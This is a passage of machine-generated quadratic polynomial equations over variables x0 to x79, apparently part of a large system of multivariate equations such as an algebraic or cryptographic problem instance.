+ x40*x60 + x40*x61 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x44 + x41*x46 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x64 + x41*x66 + x41*x67 + x41*x74 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x45 + x42*x49 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x61 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x75 + x43*x45 + x43*x46 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x54 + x43*x56 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x67 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x52 + x44*x54 + x44*x58 + x44*x59 + x44*x61 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44*x76 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x59 + x45*x61 + x45*x64 + x45*x67 + x45*x71 + x45*x77 + x45*x79 + x46*x47 + x46*x48 + x46*x50 + x46*x51 + x46*x54 + x46*x55 + x46*x56 + x46*x69 + x46*x73 + x46*x77 + x46*x79 + x46 + x47*x51 + x47*x53 + x47*x67 + x47*x68 + x47*x69 + x47*x71 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47 + x48*x52 + x48*x57 + x48*x63 + x48*x66 + x48*x69 + x48*x70 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x57 + x49*x59 + x49*x61 + x49*x62 + x49*x65 + x49*x67 + x49*x73 + x49*x76 + x49*x77 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x57 + x50*x60 + x50*x62 + x50*x64 + x50*x67 + x50*x69 + x50*x70 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x59 + x51*x61 + x51*x66 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x79 + x51 + x52*x57 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x75 + x52*x77 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x62 + x53*x63 + x53*x64 + x53*x66 + x53*x67 + x53*x69 + x53*x70 + x53*x74 + x53*x76 + x53*x77 + x53*x78 + x54*x56 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x66 + x54*x69 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x60 + x55*x61 + x55*x64 + x55*x66 + x55*x72 + x55*x75 + x55*x76 + x55*x79 + x56*x59 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x70 + x56*x74 + x56*x76 + x56*x77 + x57*x58 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x74 + x57*x75 + x57*x76 + x57*x79 + x58*x61 + x58*x64 + x58*x66 + x58*x67 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x78 + x59*x64 + x59*x71 + x59*x74 + x59*x76 + x59*x77 + x60*x64 + x60*x67 + x60*x73 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x77 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x70 + x62*x71 + x62*x72 + x62*x78 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x66*x68 + x66*x69 + x66*x72 + x66*x73 + x66*x74 + x66*x76 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x76 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x70*x71 + x70*x73 + x70*x74 + x70*x77 + x70*x78 + x71*x72 + x71*x73 + x71*x78 + x71*x79 + x72*x73 + x72*x74 + x72*x78 + x72 + x73*x74 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x75*x76 + x76*x77 + x76 + x77 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x9 + x0*x11 + x0*x13 + x0*x15 + x0*x17 + x0*x24 + x0*x27 + x0*x29 + x0*x34 + x0*x36 + x0*x38 + x0*x40 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x58 + x0*x59 + x0*x65 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x73 + x0*x75 + x0*x77 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x9 + x1*x11 + x1*x13 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x40 + x1*x42 + x1*x43 + x1*x46 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x57 + x1*x60 + x1*x62 + x1*x63 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x74 + x1*x75 + x1*x76 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x11 + x2*x13 + x2*x15 + x2*x16 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x33 + x2*x36 + x2*x37 + x2*x45 + x2*x49 + x2*x50 + x2*x55 + x2*x58 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x71 + x2*x75 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x9 + x3*x11 + x3*x16 + x3*x17 + x3*x18 + x3*x22 + x3*x23 + x3*x25 + x3*x27 + x3*x30 + x3*x35 + x3*x38 + x3*x40 + x3*x43 + x3*x45 + x3*x47 + x3*x49 + x3*x51 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x69 + x3*x72 + x3*x75 + x3*x77 + x3*x79 + x4*x5 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x17 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x56 + x4*x57 + x4*x58 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x69 + x4*x70 + x4*x76 + x4*x77 + x4*x78 + x4 + x5*x6 + x5*x9 + x5*x15 + x5*x19 + x5*x20 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x36 + x5*x40 + x5*x41 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x54 + x5*x57 + x5*x58 + x5*x61 + x5*x62 + x5*x64 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x79 + x5 + x6*x10 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x30 + x6*x31 + x6*x34 + x6*x39 + x6*x41 + x6*x46 + x6*x49 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x63 + x6*x70 + x6*x73 + x6*x78 + x6 + x7*x8 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x19 + x7*x21 + x7*x24 + x7*x26 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x41 + x7*x42 + x7*x45 + x7*x49 + x7*x50 + x7*x52 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x62 + x7*x69 + x7*x71 + x7*x73 + x7*x74 + x7*x76 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x32 + x8*x33 + x8*x34 + x8*x37 + x8*x39 + x8*x40 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x55 + x8*x59 + x8*x61 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x9*x13 + x9*x14 + x9*x16 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x29 + x9*x30 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x45 + x9*x46 + x9*x47 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x68 + x9*x69 + x9*x71 + x9*x73 + x9*x74 + x9*x77 + x9*x78 + x10*x12 + x10*x13 + x10*x15 + x10*x18 + x10*x19 + x10*x21 + x10*x23 + x10*x25 + x10*x27 + x10*x32 + x10*x36 + x10*x37 + x10*x38 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x60 + x10*x63 + x10*x64 + x10*x65 + x10*x68 + x10*x69 + x10*x70 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x11*x12 + x11*x19 + x11*x20 + x11*x21 + x11*x24 + x11*x26 + x11*x27 + x11*x30 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x48 + x11*x51 + x11*x53 + x11*x56 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x35 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x48 + x12*x53 + x12*x56 + x12*x57 + x12*x58 + x12*x61 + x12*x65 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x73 + x12*x76 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x42 + x13*x45 + x13*x46 + x13*x52 + x13*x55 + x13*x56 + x13*x58 + x13*x60 + x13*x61 + x13*x65 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x78 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x20 + x14*x21 + x14*x25 + x14*x26 + x14*x28 + x14*x29 + x14*x30 + x14*x32 + x14*x33 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x42 + x14*x43 + x14*x45 + x14*x46 + x14*x52 + x14*x54 + x14*x58 + x14*x59 + x14*x61 + x14*x67 + x14*x68 + x14*x69 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x15*x18 + x15*x21 + x15*x23 + x15*x26 + x15*x28 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x40 + x15*x41 + x15*x43 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x54 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x67 + x15*x68 + x15*x70 + x15*x71 + x15*x72 + x15*x75 + x15*x78 + x15 + x16*x19 + x16*x21 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x44 + x16*x46 + x16*x50 + x16*x51 + x16*x52 + x16*x55 + x16*x56 + x16*x57 + x16*x62 + x16*x64 + x16*x65 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x75 + x16*x76 + x16*x78 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x48 + x17*x49 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x63 + x17*x64 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x77 + x17*x78 + x17*x79 + x17 + x18*x19 + x18*x21 + x18*x23 + x18*x26 + x18*x27 + x18*x31 + x18*x32 + x18*x33 + x18*x35 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x48 + x18*x51 + x18*x52 + x18*x54 + x18*x56 + x18*x58 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x72 + x18*x73 + x18*x75 + x18*x76 + x18*x78 + x19*x22 + x19*x24 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x45 + x19*x46 + x19*x48 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x58 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x73 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x49 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x65 + x20*x68 + x20*x74 + x20*x75 + x21*x24 + x21*x29 + x21*x30 + x21*x31 + x21*x33 + x21*x34 + x21*x35 + x21*x38 + x21*x40 + x21*x43 + x21*x46 + x21*x49 + x21*x51 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x61 + x21*x63 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x75 + x21*x76 + x21*x77 + x22*x23 + x22*x25 + x22*x27 + x22*x31 + x22*x32 + x22*x33 + x22*x34 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x49 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x63 + x22*x66 + x22*x68 + x22*x69 + x22*x73 + x22*x75 + x22*x76 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x28 + x23*x38 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x52 + x23*x54 + x23*x57 + x23*x59 + x23*x60 + x23*x63 + x23*x65 + x23*x66 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x78 + x23*x79 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x31 + x24*x34 + x24*x38 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x47 + x24*x52 + x24*x54 + x24*x57 + x24*x62 + x24*x64 + x24*x65 + x24*x68 + x24*x69 + x24*x70 + x24*x72 + x24*x73 + x25*x26 + x25*x29 + x25*x30 + x25*x31 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x51 + x25*x55 + x25*x59 + x25*x60 + x25*x61 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x71 + x25*x73 + x25*x75 + x25*x77 + x26*x27 + x26*x34 + x26*x35 + x26*x37 + x26*x41 + x26*x43 + x26*x45 + x26*x49 + x26*x51 + x26*x52 + x26*x56 + x26*x59 + x26*x62 + x26*x64 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x77 + x26*x78 + x26 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x41 + x27*x46 + x27*x47 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x60 + x27*x61 + x27*x63 + x27*x67 + x27*x71 + x27*x72 + x27*x74 + x27*x75 + x27*x76 + x28*x31 + x28*x32 + x28*x35 + x28*x36 + x28*x38 + x28*x39 + x28*x41 + x28*x42 + x28*x43 + x28*x44 + x28*x46 + x28*x47 + x28*x54 + x28*x57 + x28*x59 + x28*x61 + x28*x62 + x28*x64 + x28*x65 + x28*x67 + x28*x72 + x28*x74 + x28*x75 + x28 + x29*x31 + x29*x32 + x29*x34 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x42 + x29*x43 + x29*x46 + x29*x48 + x29*x51 + x29*x53 + x29*x55 + x29*x56 + x29*x57 + x29*x59 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x68 + x29*x70 + x29*x72 + x29*x74 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x33 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x47 + x30*x48 + x30*x49 + x30*x50 + x30*x56 + x30*x57 + x30*x59 + x30*x61 + x30*x67 + x30*x69 + x30*x70 + x30*x72 + x30*x73 + x30*x75 + x30*x76 + x30*x78 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x44 + x31*x46 + x31*x49 + x31*x51 + x31*x54 + x31*x57 + x31*x58 + x31*x60 + x31*x61 + x31*x62 + x31*x63 + x31*x66 + x31*x67 + x31*x70 + x31*x72 + x31*x73 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x42 + x32*x43 + x32*x44 + x32*x52 + x32*x53 + x32*x55 + x32*x56 + x32*x57 + x32*x59 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x78 + x32*x79 + x33*x38 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x47 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x61 + x33*x62 + x33*x63 + x33*x66 + x33*x68 + x33*x70 + x33*x72 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x33 + x34*x37 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x49 + x34*x50 + x34*x54 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x67 + x34*x69 + x34*x70 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34 + x35*x39 + x35*x40 + x35*x41 + x35*x44 + x35*x47 + x35*x53 + x35*x58 + x35*x62 + x35*x63 + x35*x65 + x35*x66 + x35*x68 + x35*x72 + x35*x74 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x36*x37 + x36*x39 + x36*x40 + x36*x43 + x36*x47 + x36*x53 + x36*x54 + x36*x62 + x36*x63 + x36*x64 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x79 + x37*x40 + x37*x44 + x37*x48 + x37*x51 + x37*x53 + x37*x55 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x63 + x37*x64 + x37*x68 + x37*x70 + x37*x71 + x37*x72 + x37*x75 + x37*x76 + x37*x77 + x37*x78 + x38*x40 + x38*x43 + x38*x44 + x38*x45 + x38*x47 + x38*x49 + x38*x50 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x67 + x38*x73 + x38*x78 + x38*x79 + x39*x42 + x39*x44 + x39*x46 + x39*x54 + x39*x60 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x77 + x39 + x40*x41 + x40*x43 + x40*x44 + x40*x46 + x40*x48 + x40*x50 + x40*x52 + x40*x54 + x40*x56 + x40*x57 + x40*x60 + x40*x64 + x40*x66 + x40*x67 + x40*x68 + x40*x70 + x40*x72 + x40*x73 + x40*x74 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x60 + x41*x62 + x41*x63 + x41*x67 + x41*x72 + x41*x73 + x41*x76 + x41*x78 + x42*x43 + x42*x48 + x42*x49 + x42*x50 + x42*x52 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x69 + x42*x71 + x42*x73 + x42*x78 + x42*x79 + x43*x47 + x43*x48 + x43*x52 + x43*x58 + x43*x63 + x43*x65 + x43*x66 + x43*x68 + x43*x71 + x43*x74 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x49 + x44*x50 + x44*x58 + x44*x62 + x44*x63 + x44*x67 + x44*x68 + x44*x69 + x44*x72 + x44*x73 + x44*x74 + x44*x76 + x44*x79 + x44 + x45*x49 + x45*x50 + x45*x51 + x45*x54 + x45*x55 + x45*x59 + x45*x60 + x45*x61 + x45*x63 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x75 + x45*x77 + x46*x47 + x46*x49 + x46*x52 + x46*x53 + x46*x56 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x77 + x46*x79 + x47*x50 + x47*x53 + x47*x54 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x70 + x47*x71 + x47*x73 + x47*x74 + x47*x75 + x47*x79 + x47 + x48*x49 + x48*x50 + x48*x57 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x69 + x48*x71 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x49*x53 + x49*x54 + x49*x57 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x52 + x50*x54 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x63 + x50*x66 + x50*x68 + x50*x70 + x50*x73 + x50*x76 + x50*x78 + x50*x79 + x51*x52 + x51*x55 + x51*x56 + x51*x58 + x51*x59 + x51*x60 + x51*x62 + x51*x63 + x51*x64 + x51*x66 + x51*x69 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x52*x53 + x52*x55 + x52*x59 + x52*x60 + x52*x65 + x52*x70 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x59 + x53*x66 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x78 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x60 + x54*x61 + x54*x62 + x54*x66 + x54*x68 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x69 + x55*x70 + x55*x73 + x55*x77 + x56*x57 + x56*x61 + x56*x64 + x56*x65 + x56*x67 + x56*x70 + x56*x73 + x56*x75 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x68 + x57*x73 + x57*x75 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x72 + x58*x73 + x58*x77 + x58*x78 + x58*x79 + x59*x60 + x59*x62 + x59*x63 + x59*x66 + x59*x68 + x59*x70 + x59*x72 + x59*x73 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x60*x62 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x71 + x60*x74 + x60*x76 + x60*x78 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x69 + x62*x71 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x65 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x77 + x63*x78 + x64*x65 + x64*x68 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x68 + x65*x69 + x65*x70 + x65*x76 + x65*x77 + x65*x79 + x65 + x66*x68 + x66*x70 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x73 + x67*x76 + x67*x77 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x72 + x70*x71 + x70*x72 + x70*x74 + x70*x75 + x70*x76 + x70*x77 + x70*x79 + x71*x72 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x74 + x72*x75 + x72*x76 + x72*x78 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x77 + x74*x79 + x74 + x75*x79 + x75 + x76*x77 + x78*x79 + x78 + 1, x0*x2 + x0*x3 + x0*x5 + x0*x8 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x22 + x0*x23 + x0*x24 + x0*x25 + x0*x27 + x0*x31 + x0*x35 + x0*x37 + x0*x38 + x0*x41 + x0*x47 + x0*x53 + x0*x56 + x0*x57 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x76 + x0*x77 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x16 + x1*x17 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x52 + x1*x55 + x1*x56 + x1*x58 + x1*x61 + x1*x62 + x1*x69 + x1*x70 + x1*x72 + x1*x75 + x1*x76 + x1*x78 + x1 + x2*x4 + x2*x6 + x2*x7 + x2*x9 + x2*x11 + x2*x12 + x2*x13 + x2*x18 + x2*x19 + x2*x20 + x2*x23 + x2*x26 + x2*x28 + x2*x29 + x2*x30 + x2*x32 + x2*x34 + x2*x35 + x2*x37 + x2*x38 + x2*x41 + x2*x44 + x2*x45 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x58 + x2*x61 + x2*x63 + x2*x65 + x2*x66 + x2*x68 + x2*x69 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x8 + x3*x9 + x3*x12 + x3*x13 + x3*x17 + x3*x19 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x26 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x34 + x3*x37 + x3*x39 + x3*x41 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x60 + x3*x63 + x3*x65 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x26 + x4*x27 + x4*x29 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x41 + x4*x48 + x4*x50 + x4*x51 + x4*x60 